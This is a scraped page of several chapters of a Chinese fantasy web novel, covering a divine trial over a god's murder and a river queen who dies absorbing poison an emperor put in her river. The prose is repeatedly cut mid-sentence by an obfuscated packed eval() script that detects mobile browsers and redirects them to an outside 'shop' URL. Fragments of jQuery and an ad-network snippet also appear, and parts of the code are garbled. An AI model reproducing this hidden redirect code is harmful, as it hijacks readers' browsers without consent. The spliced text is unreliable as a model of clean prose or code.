文书捧着纸卷站了起来,这些人都坐在高处,克拉斯托尔需要高高仰着头才能看到他们的衣角。他抬头看了半天,也没有看清那文书的长相,只觉得自己的脖子酸的可怕。而秦垭的民众早就习惯了高抬着头颅瞻仰神明代言人,没有一句怨言。 文书高捧着那纸卷,不可一世地解开了丝带,拽着一头将另一头抛下。这纸卷似乎有几米长,从高高的审判席上垂了下来,一直到克拉斯托尔面前。 “十二月十三日,嫌疑人克拉斯托尔和水神阿加雷斯同行至扬州的使节邑所,因觊觎水神之力与其所拥有的万万权能而展开了弑神活动……”先是一番笼统的概括,而后就开始详细地描述起案件的细节,还添油加醋增加了许多故事性的情节,试图真正坐实克拉斯托尔弑神的罪行。 “克拉斯托尔·圣菲特特·蒙哥提·奈菲舍莉·桑菲尔切·德·安东施尔尼特·斯洛伐彼洛斯,性别男,二十二岁,婆罗斯籍归墟人,为氐人族。据悉,斯洛伐彼洛斯家族为光神吉尔伽美什的忠实簇拥,三千年前第六神战光神吉尔伽美什惨败,只有归墟斯洛伐彼洛斯家族依旧保持忠诚。因此,克拉斯托尔犯下弑神罪具有合理依据,是源自于神明与国家间的仇恨……” “……” “……” 文书照着纸卷念了好半天,好多群众从兴致盎然变得哈欠连天,不少人直接靠在椅背上打起了瞌睡,就连当事人克拉斯托尔的上下眼皮也开始打架。 吉尔伽美什精神倒是完全都没有松懈,仔仔细细地听着文书念的每一个字,目不转睛盯着望舒身旁的香炉里的烟尽了三次。 终于,终于结束了,祂心里想着,就这样吧,把案件真正的情节完全展示出来吧,让秦垭的百姓好好看看这他们无比敬仰的水神使节是怎样通敌卖国的。 “下面,”望舒扭头向吉尔伽美什致意,“请证方代表发言陈词。” 吉尔伽美什清清嗓子,挺着胸气昂昂地站了起来,一片的正气凛然。 “首先,我方要驳斥公方的一个观点:克拉斯托尔弑神的动机来源于家族仇恨。三千年前第六神战时期,斯洛伐彼洛斯家族分为礁石、海沟、涡流三系,当时掌握家族权利的正是礁石一系,与水神有利害关系和仇恨的也是该系。克拉斯托尔属于涡流一系,现在的礁石一系已经彻底失传,动机不成立。” “其次,克拉斯托尔的元素掌控能力也十分微弱,其蝶泪石也处于损毁状态,其中储存的能量远不足以伤害到水神,”吉尔伽美什把他的蝶泪取下来展示给现场所有人看,那可怜的翠绿宝石早就碎裂,镶嵌在金属托中间的也只是小小一块,“更何况——伤害水神的根本就不是来自克拉斯托尔的风元素,你说对吧——第一月神?” 莫名其妙被点名的望舒有点摸不着头脑,微笑着看向祂,“这种事情,我怎么会知道呢?” 吉尔伽美什从证物篮中拿出一个小瓶,里面漂着一缕银黑雾气,“这是现场留下的元素力,你好好看看,这气息像是谁的?另外,你当时就在现场不是吗——阵法可是全须全尾地记录下来了哦。” 祂打开了小瓶上的塞子,那雾气果然冲着望舒去了,在场众人无不惊呼。 “真是没有道理啊殿下,我正是保护殿下才使用出了月的力量——不要空口白牙诬陷好人——我可是水神使节,怎么会犯下弑神罪呢?” 看祂有理有据地反驳,吉尔伽美什无语地笑了出来,反手从证物篮中拿出凝光剑,又说道:“认得它吧,阿加雷斯的造物凝光剑,非其主断不能拔出。” “所以呢?”望舒像看笑话一样看祂,“这能证明什么?” 吉尔伽美什放出那段影像,末尾铮鸣剑音格外清晰,在场所有人甚至能看到角落里将剑收回鞘中的手。祂将剑拔出,上面的血迹虽然不见,但浓郁的血腥气息依然能够闻到。 祂将剑收回去,抛给望舒,道:“你敢拔出来吗?” 望舒毫不畏惧,轻轻松松将剑拔出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214231|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铮鸣之音响彻审判庭,“这又能证明什么?我出现在现场,现场留下了我的痕迹,我又可以使用凶器——这可不等于我就是凶手,殿下,您应该去婆罗斯的学宫里面好好学一学逻辑学。” 吉尔伽美什见祂这副样子就气不打一处来,伸手展现出了绚丽夺目的世界之树,“普通人可能看不懂,但你作为旧神不可能看不出来,弑神者是背叛了水神的信徒。” 这时,望舒的脸色变了一瞬,但也只是那一瞬,若不是祂眼尖可能还看不出来。 “您这话我可就不懂了,怎么会有信徒背叛自己的神明呢?” “别拐着弯骂我,我能听出来,”吉尔伽美什顿了顿,又朗声道,“你希望我把你和格剌西亚拉波斯勾结的事情在大庭广众之下宣扬出来吗?” 祂声音不小,所有人都能听到,安静的审判庭中窃窃私语声骤起,就连站在望舒身后的侍卫都开始骚动。 望舒侧过来身子,压低声音问祂:“你什么时候知道这件事的?” “我能进入别人的识海和记忆。”神明答。 望舒不说话了,脸色格外难看。 这是吉尔伽美什站起身拍拍手,“闹剧就演到这吧,我已经完成了为克拉斯托尔脱罪的任务,现在,我要带他走。” 然而面前的侍卫却拦住了他们的去路。看着那面目狰狞一脸横肉还凶神恶煞的侍卫,克拉斯托尔瑟缩地颤抖,躲到吉尔伽美什身后。 “尘埃落定,我们要离开了。”神明说。 “雷神之锤还未落下,审判还在继续。”侍卫的刀从刀鞘中滑出一小部分,吉尔伽美什见状只好坐回原位。 祂基本明白了,今天这个弑神罪名反正要扣到一个人头上,不给秦垭人一个交代大家就都得在这耗着。 “认吧,望舒,再拖下去你的名声可要雪上加霜了。”神明轻笑道。 望舒好看的眉头皱了起来,拿着欧格玛之锤的手不停颤抖。彷徨和迷茫的漩涡中,祂和万千生灵一样苦苦挣扎,摆脱不了囚网。 吉尔伽美什就那样盯着祂,山羊一样的眼睛泛不起丝毫波澜,是那样的平静,看得人心中发毛,仿佛不管做过怎样的错事都在这双黄金的双眼下一览无余。 剑拔弩张的氛围持续了很久,民众也从一开始的窃窃私语变得惶恐,陷入了长久的沉默。很难有人在第一时间接受那个惩恶扬善的最高审判长是犯下了背叛与弑神之罪的十恶不赦之徒。人们也不敢想,这个表面上光风霁月的第一月神手下有多少冤魂——祂连这样的大罪都敢犯下还堂而皇之地栽赃一个无辜的异邦人,那些从前审判的案件的公正性一下子就有待商榷了。 “好了,我曾经说过的,”一个穿着铠甲的女人从望舒的背后缓缓走上台前,祂轻轻拿起那无人问津的凝光剑,拨动着菩提根穿成的剑穗,“凶手通常都会回到案发现场欣赏自己留下的痕迹。” 看着祂,又看着剑,吉尔伽美什怒极反笑,笑声在审判庭中不住回荡。 50. Chapter50 踏上离开扬州的船,吉尔伽美什安抚着克拉斯托尔沉沉睡下,睡梦中,他将对此一无所知。 吉尔伽美什倚着船舷,月光下海面荡漾出寂静的波纹,远处散去又化为虚无,被历史的沉疴彻底遗忘。 “看吧,你的傲慢种出的恶果。”欧米伽不知什么时候来到了祂的身后,双手搭在祂肩上,把郁闷的神明拉入自己怀中。 “我居然还能有被人耍的一天,”吉尔伽美什笑了,嘴角咧出一个嘲讽的弧度,指尖随意下船,触摸水中易碎的月光,“你说得对,我会因为傲慢而付出代价,不长记性是全体生命的通识吧,三千年前犯下的错误这时还能再犯第二次。” “好了,别再想这些了,接下来要去做什么?” “我想去扶桑,但不知道为什么,每次一提出这个想法就会有乱七八糟的事情来打断我们。” 正聊着,一个信鸽翩然而至,看上去就是某个达官显贵的宠物。果不其然,信鸽见吉尔伽美什伸出手就格外自然地落了下去。 “这是谁家的信鸽?”欧米伽问。 吉尔伽美什左右端详,这信鸽,浑身雪白,整只鸟珠圆玉润,活像个球。 “看上去是浅巧的鸟,就她能把好好的鸟养成这样。”吉尔伽美什说着,从鸽子的肥腿上解下信筒,从中抽出一个小丝帛条,展开来仔细一看,顿时眉头皱了起来,表情凝重得像看见了什么什么人的死亡通知书。 “怎么了,这个表情?看上去和死人了一样。”欧米伽贴过来问。 吉尔伽美什把帛条递给他,摊开手撇撇嘴,“猜对了,华胥死了,就在扬州。咱们这下是走不了了。” “华胥?那个华胥国的女王?祂不是不老不死吗?” “理论上是这样的,但是随着阿加雷斯力量的衰落,祂也撑不了多久。” · 九河之地有华胥国,其主华胥人首蛇身,有圣德。 华胥国是秦垭的诸侯国,和当年的琼华府一样,都是名义上属于秦垭的区域。国主华胥原是九河岸上华胥草,阿加雷斯离开忘川时河水大涨,没过河岸,华胥草沾染了忘川,就升格成神,做了华胥国的主人。 华胥受忘川影响,因此和水神阿加雷斯的命运联系在了一起。水神碍于九河距离帝京不足十里,只好封其为华胥国主,以免这块肥肉落入祂神之口。 “主上,这是……“侍从将厚厚的一本名单交给华胥,祂接过,没有直接翻开,只是在手中颠了颠,就问道:“今年上贡的东西又添了些?” 侍从脸色难看,“回主上,帝京要求进贡华胥草千株,金、银各百斤,还要……” 侍从唠叨了半天,要么是新增了不少从前没有要求过的珍奇,要么是从前上贡的宝贝又添了分量。 “主上您别生气,人类贪得无厌不是一天两天了,咱们直接整兵打他个落花流水好了。” 华胥伸手,侍从立刻为祂递上一方帕子,祂不言语,只是用丝帕将手仔仔细细擦拭一遍,好像刚刚摸过的名单是什么极为不洁污秽之物。 “能怎么办呢?咱们和秦垭之间的差距有多大你也不是不清楚,强如琼华府都败在铁骑之下,我们于他们而言是一只手就可以碾死的蚂蚁罢了。” “主上……”侍从还想再说些什么。 华胥隔着帕子托起那名单,从第一页开始翻,“窝囊就窝囊些吧,你去看看库房,能拿来上贡的东西还够不够,不够和下面人再征些。” 侍从瘪瘪嘴,看样子格外的难过。 “你也不用太委屈,”华胥道,“我昨夜感知生命之树,忘川下次涨水就在三日后,届时九河没过华胥国,你还怕咱们的力量无法与之抗衡吗?” 听祂这么说,侍从恍然大悟,喜滋滋地抱着名单下去了。宫殿中的一花一木此时都变得分外馨香,连平时她最讨厌的小虫此时看上去也是可爱得紧。 看着小姑娘活蹦乱跳的背影,华胥的脸色沉了下去。宫殿中并非灯火通明,昏暗烛火摇曳,显得祂的面庞更为苍白。 “唇亡齿寒啊,就算忘川加身又能有什么用呢?” 琼华府灭不到三月,秦垭的手就伸向了华胥国。 · “您凭什么斥责朕?!这分明是开疆拓土的功劳!”岐君看着坐在帘子后的青年,气得砸了好几个花瓶摆设。 “别砸了,砸碎了还要换新的,”阿加雷斯就那么懒洋洋地斜倚在宝座上,连头都没有歪一下,“你不懂制衡之术,吾不想多言。” 岐君都快气炸了,抄起一个花瓶就丢向水神,可还未接触到那帘子就化为齑粉,弄得一地亮晶晶的。 “还砸吗?殿里就剩最后一个花瓶了。”祂轻轻挥了下手指,那最后一个花瓶就飞到了岐君手上。 “我把那些地方收回秦垭,赋税、户籍全部贯通,明明百利而无一害!你为什么这么反对河山一统?” 阿加雷斯轻蔑地笑着,高高在上地的神明俯瞰着挣扎的凡人,“他国来犯,该当如何?收回琼华府增加了秦垭外派的军士,这是负担。” “你叫嚷着寸土不让,这些险要之地秦垭人自己尚且不了解,战则必败,”阿加雷斯两指捻着宝座上的金珠,神情漫不经心,“自生自灭怎么了,吾看很好啊。你现在大肆征伐,反而是给自己埋下了隐患。百年后山鬼肆虐,我看你的后人如何分身乏术。” 岐君气得砸了最后一个花瓶,“朕不管,现在必须收回华胥国,那里数不尽的奇珍异兽,凭什么我秦垭人无福消受。” 阿加雷斯哑然失笑,道:“罢了,你开心就好,吾要歇息了。” 说罢,祂便从宝座上起身,拍拍衣服上不存在的灰,大步迈下台阶。岐君就算再烦祂也只能恭敬下拜,五体投地。 “哼,”他冷哼一声,“垂帘听政,昏聩无能。” 阿加雷斯坐了辇车,一路回了山上神宫。 “殿下,”荧惑守心随侍一边,手却放在腰间的佩剑上时刻呈防御姿态,“您今日……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296419|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哈哈哈哈哈……”阿加雷斯扶着额头,低笑出声。 “您何故发笑?” “吾笑这岐君鼠目寸光,拎不明白轻重缓急。现下当务之急是好好解决秦垭境内耕作一事,多备些粮食预备才好。此时收复琼华府难道是什么好事吗?你也听说了那琼华府神将化鬼吞噬整个苍水城一事吧。” “是,”荧惑守心答话时总把头深深低下,从来不正视神明面庞,“要开战了?” 阿加雷斯却没有回答他的话,闭上眼睛斜躺在椅子上,“还是提早预备的好。” · 是夜,华胥屏退身边众侍从,只身登上观星台。 仅仅是站了片刻,一个衣着华丽的身影就翩然降下,落在祂面前。 “殿下,您来了,”华胥面容忧愁,眼眶泛着红,身上一袭青衣随风胡乱飘荡,盖住了隐隐约约露出的蛇尾,“现在这样,您又何苦来呢?” 阿加雷斯点点头,什么都没说,转过身去和华胥一起看着天空。 日月之行,若出其中;星汉灿烂,若出其里。 天穹是世界树的倒影,每个人都能在天上找到属于自己的位置,每个世界都能在天空中找到属于自己的轨迹。 “能看出什么吗?”华胥问。 阿加雷斯摇摇头,道:“你在这方面明明胜过吾,若连你也看不透,那便是真正的无人能解了。” “个人怎样,国家怎样,世界又怎样。殿下,我本不想向您求救的。”华胥突然说了句没来由的话,却引得阿加雷斯神色大变。 “求救?!你看到什么了?!!!” 华胥摇摇头,指给祂看,“原本的轨迹,是从这到这。现在……”祂的手在天空中划过一道弧线,衣袖随着动作摇摆,带起一阵香气。 “有什么办法吗?”阿加雷斯问祂。 华胥又是摇摇头,蛇尾扭动,转身隐在夜色中。 天地茫茫,只有神祇傲立其间,其余各者皆沉睡。 · 平平无奇的一天,平平无奇的公务。华胥看着毫无差别的公文,心中泛起一丝厌倦。 “出去走走。”祂对侍从说。 侍从当即起身,正准备喊人准备车马,却被华胥拦住。 “主上……” 看着小姑娘稚嫩的脸庞,华胥心中很是怜惜。正是为了这一份怜惜,祂指尖轻轻点住她柔软的唇。 “我自己去,今天不用人跟着。” 小姑娘的眸子中升起一丝疑惑,华胥笑笑,什么都没说,只是提着衣摆沿着路远去了。 九河…… 想着九河蜿蜒又格外富有生命力的模样,祂心中多了些焦急,蛇尾摆动地越来越快。 祂顺着小门出了王宫,九河蜿蜒之地,祂诞生之地。 快些,再快些。祂心里想着。 立于九河之上,水照旧奔腾翻滚着,熟悉的腥气中夹杂了陌生的芬芳。鱼儿腾跃得不似往日活泼,河岸上草木泛起枯黄。 51. Chapter51 华胥不可能坐以待毙的,那样的话她可就一点都配不上华胥国主这个称号了。 她匆匆赶回宫中,一进去就看到那小姑娘捏着块帕子擦拭祂的桌案。昏黄灯火下,她的小脸努了起来,看上去格外的认真用力。 华胥心漏跳了半拍,打心底里爱极了这岁月静好,巴不得时间永远停留在这一刻。 可下一秒祂就收敛笑容,抬手拭去眼角的泪,又回到了平时那冷冰冰不近人情的样子,蛇尾摆动发出悉窣声音,提醒着殿内唯一的人真主已归。 果然,小姑娘听到声音立即抬头看向殿门口,稚嫩的小脸上闪过一丝兴奋,随即又被刻意装出来的沉稳压了下去。华胥心里喜欢的不得了,可一想到未来即将发生的事情便心如刀绞,祂知道,结局是既定的,无论经过多少种办法都只会通向唯一的终点。 祂什么都没说,只是径直走到小姑娘背后环住她,享受这来之不易的温存,“别打扫了。” 小姑娘很意外,华胥向来是最爱干净的,自己当初刚来宫中执勤时每一块地砖一天都要擦上几十遍,就连自己一天都得沐浴更衣数次,怎得今日反而不用了? “主上,有什么事吗?” 华胥贴近她耳畔,温热的呼吸均匀地打在她耳廓上,惹得小侍从一激灵,脸悄悄的红了。 “天象有变,明日起封锁九河,我要亲自下河祈福。” 祂故意说得很慢,一字一字传入她耳中。 小姑娘不敢多言,水灵灵的大眼睛眨呀眨。她看向华胥,眼中满是信任。 “是,我这就去做。” 小姑娘又乐颠颠地跑出去了,华胥看着她的背影,悄悄捏紧了袖口,拇指不停地摩挲着,和那明灭摇曳的烛火别无二致。 · 祂本不应该在河中停留太久,植物长久地泡在水里是会烂根的,祂就算升格成神也摆脱不了规律的束缚。 考虑到这一点,侍从特意占卜出几个吉时让祂没入水中祈福。 为了准备这盛大的仪式,周围一排排站满了士兵,紧紧盯着河岸防止普通的百姓下水或取水影响仪式进行。 当然,士兵的数量完全不足以包围全部河道,能紧盯的也就只有王宫上下水路罢了,至于国境内沿河的边缘地区,那自然是由本地的民兵来看护,至于效果那就只能再说了。 华胥看着守卫河流的士兵,心中很是满意,但还是再三叮嘱道:“仪式结束之前,不要让任何人接触九河之水。” 一下水,那种烧灼之感就将祂包围,那是秦垭士兵在源头向水中投的毒。祂不能完全估计毒药的剂量有多大,唯一的解决办法就是尽自己之力将其净化。 净化倒是容易,连接着忘川的华胥完全可以调用忘川之力解决这人力造成的祸乱,难点则是看似渺小实则极为强大的一股势力——人类。 谁也不知道王国内的所有民众有没有全都看过告示,知道在这期间禁止使用九河的水。祂最担忧的就是人类那一套知其不可为而为之的歪理,抱着侥幸心理胡搞一通,出了事就把责任全都推到别人身上。 为九河祈福,为华胥国祈福,也为自己祈福。 祂这么想着,整个没入水底。 人面蛇身的形象逐渐变回那棵小草,细嫩的根深深扎在河床的淤泥之中,枝叶拼命伸长,拦住河水,将里面那些毒物全部吸收到自己的身体中去。 翠绿色的枝干变为灰黑,鲜红的花朵尽数凋落。祂强撑着一口气,从水下浮出来,摇曳着蛇尾自己走到了那个早就为自己准备好的汤泉中,这里没有任何人服侍,不会再有第二个人接触到这些阴毒至极的东西。 蛇尾刚触碰到汤泉,就把那一圈水染得乌黑。祂坐进池子中,满池的水都染上了毒。源源不断的水流进池中又流出,把污秽全部带入忘川,随着那些怨念和不甘进入轮回——世界会把它们慢慢净化,污浊最终会化为纯洁,成为构筑这个世界根基的一部分。 池水变得干净,下一个吉时又到了。 祂在苦笑,这样反反复复透支生命,估计那些百姓也不会知道,可能只是骂自己自私自利表面功夫耽误大家用水吧。 净化了几天,华胥明显感觉河水中的毒药浓度变得更大了,按理来说不至于的。 · “很好,现在你这些功夫都做到吾头上来了,这个水神的位子给你做怎么样?”这下子轮到阿加雷斯生气摔花瓶了。 “殿下轻些摔,这些可都是要钱的,”岐君皮笑肉不笑,“朕只是为殿下分忧罢了,殿下何故恼怒?” 阿加雷斯气得快昏过去了,这个好大喜功只注重于眼前利益一点脑子都没有的混蛋帝王每每都能给祂带来新的惊喜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340892|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他从来都不懂什么叫制衡什么叫权术,只知道自己收复失地能获得千古的好名声,至于收复后的烂摊子——不好意思,这是后人该考虑的问题,不归他管。 当时祂碍于神战,没有看顾到他,只几年,偌大一个琼华之森就被砍成荒地,琼华府和神将也都不复存在。岐君当时要是及时收手还是能止损的,苍水城可是带来了极大的利润。毁了琼华府那神将化鬼吞了苍水城,人财两空,到现在还得国库填补缺漏,而如今他又开始往九河中投毒了。 阿加雷斯知道华胥绝对不会坐视不理,但就算有这么个神明苦苦撑着,百姓的日子也不会好过的,无论兴亡,自始至终难过的都是百姓啊。 一想到这祂就头疼,眉心一跳一跳的,整个脑袋都快要爆炸开来。 “华胥国人难道就不是秦垭人吗??”祂问。 “死几个升斗小民算什么,杀了华胥才是真正的一劳永逸,朕派兵……” 阿加雷斯听不下去了,挥挥手让荧惑守心把他带下去看管起来,最好短时间内别出来兴风作浪了。 “啊……”阿加雷斯痛苦地捂着头,盼着岐君早点死换下个使节。 “殿下喝茶?”羲和端了茶盏递给祂。 阿加雷斯见到羲和心情才好些,问:“你今日竟有时间?” 羲和点点头,道:“听闻殿下最近心气郁结,来开导开导殿下。” “你这又是听谁说的,消息倒是灵通。”阿加雷斯道。 “并非我有意探听,殿下若不信就去城里随便找个人问问,现在三岁的小孩都知道殿下和国主不对付呢。” “怎么说的?” “有首童谣来着,怎么说的……水神欲引清流治,岐君却喜浊浪滚。智者无奈愚者行,水凤气结病榻困,人主挥袖晴空存。神主欲施雨露泽,国主却爱旱魃焚。智者难引愚者路,水神病倒床榻昏,岐君懵懂笑春风。” “不用说这些哄吾,外头的事情吾都知晓,民众不就是喜欢看河山一统吗?怎么会有这样的童谣?” “风向变了,殿下,”羲和给祂又添了杯茶,“几家欢喜几家愁,棍子结结实实打在肉上才知道疼。” “这回又是影响到哪家了?” “平时最信任他的曲家呗,您说是不是?” “这倒没错。”阿加雷斯难得笑开花。 52. 预发布 有句老话叫怕什么来什么,华胥刚刚结束一轮的净化,变换成为半人形从水中冒头之时,就看到小姑娘急切的面庞。 “主上,不好了,出事了!!!!王城外一个百姓偷喝了九河的水,中毒死掉了!!现在百姓暴乱,意图弑神!!!!!” 华胥本就惨白的脸上泛不起一丝红晕,口中“哇”地吐出一滩鲜血,算是为祂失败的事业大楼添砖加瓦。 祂挣扎着想从河水中出来,尾巴却一滑,整个跌坐在水中。 小姑娘几乎是下意识就伸出手扯住祂的手腕,原本红润的面庞瞬间变得苍白,口中呼痛几乎是咬着牙压下去的。 华胥见毒素侵袭到她身上,连忙将手往回扯,可谁知小姑娘拽的更紧了些,漆黑的毒顺着她的指尖蔓延上手臂,直逼心脏而去。 “放手!!我说过,仪式结束前不许有任何人碰我!!” “主上……”小姑娘泪眼汪汪,却又明白了祂的苦心,只好依依不舍地放手。 华胥紧忙上岸,双手交叠在她面前,拼尽全力将这可恶的毒素全部吸收回自己的体内。 “你……”华胥欲言又止。 小姑娘倒还是又回到了神采奕奕的状态,神情坚毅。她站起身来提着裙摆,对华胥道:“我已经好了,主上做的事我也都明白。主上尽管去休息,暴乱的民众我来解决!” 她转身跑出去,衣袖翻飞,华胥看见了她偷偷再擦眼泪。祂想挽留,想改变她的命运,伸出手却发现自己无法张口,拼尽全力大喊却也无法发声。 红色的衣服逐渐消失在视线中,泪水模糊了眼眶,祂根本分辨不出身上的河水和泪水,咬着牙扭头转向汤池。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389100|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 每个人都有其注定的命运,而华胥的命运就是和这条河中人为投放的源源不断的毒素抗争到底。 又一次吉时,又一次站到河边,小姑娘那娇俏可爱的身影却已不见,问其他侍从,却只说她在解决和暴民的纠纷。 愚民不听劝阻喝下有毒的河水,却将一切的罪责都归因于华胥的净化典仪。祂若不举行这样的典仪,可能灾祸就不会降临。 华胥理解不了这些民众的想法,祂是属于世界树的更高纬度的神,这些渺小如虫豸的生物不在祂的理解范围内。这也是多亏了小姑娘的存在,她便是一个普通的人,却以肉体凡胎坐上了神明使节的宝座。没了她,华胥可能这辈子都成为不了一个合格的君主。 身边一下子没了她,心里还有点空落落的。华胥想着,但也只能专注眼前的事情。 53. Chapter53 丧仪 吉尔伽美什不知为什么,心里对华胥之死很是抵触,或许是见证旧时代的落幕吧,祂一时还是难以接受。 即使失去了第一权能,祂心中还是隐隐有了些预感,再加上随着旅程的进行,祂失去的记忆逐渐恢复——潜意识告诉祂,这绝对不是什么好兆头。 欧米伽寄生在祂的识海中,共享着祂的意识。 你简直有毛病,他腹诽,谁家死人了是个好兆头。 吉尔伽美什道:“这不一样,莫名的不安强烈极了,我好久没感受到这样的情感了。” “你怎么对于自己的身体这么的不了解,三千年前你可不是这样的,影响这么大吗?” “我总觉得有什么在阻挡我想起来一切,”吉尔伽美什坐在船头端着茶杯,疾风胡乱拍打祂苍白的面颊,看上去简直不像是个活着的生物,“像是世界的算计,我不明白,我只是世界树上小小叶片的一个小小神祇,我到底有多大的能耐能让世界这么忌惮。” “你刚刚好像说了些什么不得了的事情。”欧米伽说。 “无足轻重,就算说给你听也无妨,根本不是什么重要的事。” “你总在话里暴露什么关键的信息,”欧米伽一脸无语,“不是第一次了。” “这真的不重要——我们活在树上云云,没有意义——对大家来说。对于我来说知道这些也是一样的意义不大,从前我可能知道原因,可现在——你也懂的。” “又开始打哑谜了。” 克拉斯托尔醒过来了,摇摇晃晃走到船头,看着越来越近的扬州城,问:“我们什么时候离开的扬州?怎么又回来了?” “带你去吃席。”吉尔伽美什说。 · 意料之中,华胥国主的丧仪很是隆重。华丽的装饰自是不必说,只是使节就来了近几十人——要知道,秦垭水神使节一共也就一百来人。 “余弦圣子,真是难得一见啊。”神明看着被簇拥在人堆中央那个穿着素净的人,忍不住出言嘲讽。 余弦来了,丧仪的重心干脆就不是丧仪本身了,也不知道华胥会作何感想。当然,祂也是一点痕迹都没有留下,就只是化作轻烟消散了。 没有人能忍住不去接近秦垭真正的权力中心。余弦对于这种恭维自然是极为享受,笑容荡漾在脸上,看上去完全不像是神明人的葬礼,只是一场平平无奇的宴会罢了。 “水神不在,您又将做出什么样的决断呢,圣子大人?咱们是不是该对磨兰宣战了?” 听着有人问他最新的最高层决策,余弦只是笑笑,不置可否,保持着一贯的神秘形象。这样的他往往更受狂热的人们追捧。 一群人正围作一团,只听远方雅乐飘扬。 “国主到——” 前面是开路的乐队和几十侍卫,然后就是真正的仪仗队,浩浩荡荡,根本看不到锦簇在哪里。 这里围成一圈的人迅速散开,各自找了空位跪下,深深下拜,头也埋入衣料之中,丝毫不敢逾矩,窥探天威。 “真让朕感到意外,爱卿也有如此雅兴。”锦簇坐在车上,看着揣着手的余弦,带了些挑衅地望向他。 余弦的笑容僵在脸上,不过那只是不易察觉的一瞬,没人能捕捉到这一瞬间的不悦。他整理出一个优雅的笑容,道:“华胥国主于臣有恩,不敢不来。” “原是如此,”锦簇却并未看向他,而移开视线看向站在一旁的吉尔伽美什一行,“殿下安好。” “不好不好。”祂是懂怎么让人下不来台的。 锦簇知道祂这死性格改不了,就没有在意,仍旧是和余弦说话:“朕原以为神殿中人从不理凡尘中事,没想到爱卿原是个入世之人。” “臣并非超然之人。”余弦咬牙切齿,却也不得不承认。 “摇光,开路,”锦簇低头对小姑娘说,“朕要亲自祭拜华胥国主。” 车驾浩浩荡荡去了,锦簇全程并未下车,也只是扶式致意聊表敬畏之心。 “陛下此举真是让人叹为观止。” “彼此彼此。” 锦簇偏过头去看着荧惑守心,二人相视。荧惑守心深深弯下腰扶她下车,站到余弦面前。 她本就不是什么瘦弱的女子,在弱不禁风的余弦面前还要更高些。俯视之中,她的嘴角不自觉地翘起,神色高傲又轻蔑。 “陛下果然还是一如既往的心狠手辣,”余弦低下头,深深作揖,脊背却是直挺挺的,彰显着他为数不多的最后一点傲骨,“臣心服口服。” 锦簇没看他,转过身径直上车了,甩下一句话扬长而去:“磨兰出兵还需再议,不可轻举妄动。” “这个时候倒挺维护水神权威的。”余弦嗤笑道。 · 葬礼像个戏台子一样,乱哄哄你方唱罢我登场。锦簇一走,原本偃旗息鼓的一伙人又重整衣冠粉墨登场。 “陛下照您小了那么多,怎么这个时候分不清长幼有序起来。”拥趸说。 余弦扯扯身上松垮的袍服,信步走到供桌前,指尖轻轻划过桌沿,将铺平整的白布又带起一丝皱褶。 “她为君,我为臣。言辞不满也是应该的。道虽不同,追求的结果可大差不差啊。” 拥趸哪里能听懂他的话,附和点头,围坐在桌旁吃席去了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吉尔伽美什见事情告一段落,也坐下风卷残云。 “不是,你来干嘛的?就干吃啊。”欧米伽问。 “对啊,不还有表演给你看吗?吃呗,你看看你俩都瘦成什么样了。”吉尔伽美什夹了好大一筷子的菜,鼓着腮帮子嚼,却丝毫不见粗鲁体态,俨然是高贵神明的做派。 秦垭人对于美食的追求可谓狂热,就算是葬礼这样哀戚悲伤的场合,在桌上摆的也是精致琳琅的菜。 克拉斯托尔之前在宴会上从未专注过饮食,今天这菜一进嘴就被彻底迷住了,和吉尔伽美什一样埋头苦吃,丝毫不顾周围环境。 · “我死后会怎样呢?”华胥问。 云梦大泽的雨停下来了,泥泞的大地上东倒西歪地横着一具又一具尸体。剧毒的水下白骨森森,时间明明只是过了半个月。 阿加雷斯站在祂身旁,看着这满目疮痍,怜惜道:“生命还是太脆弱了。” 祂又想到了些什么,嘴角扬起一点弧度,“脆弱点才好,要是过于坚韧那整个终焉将无法幸免。” 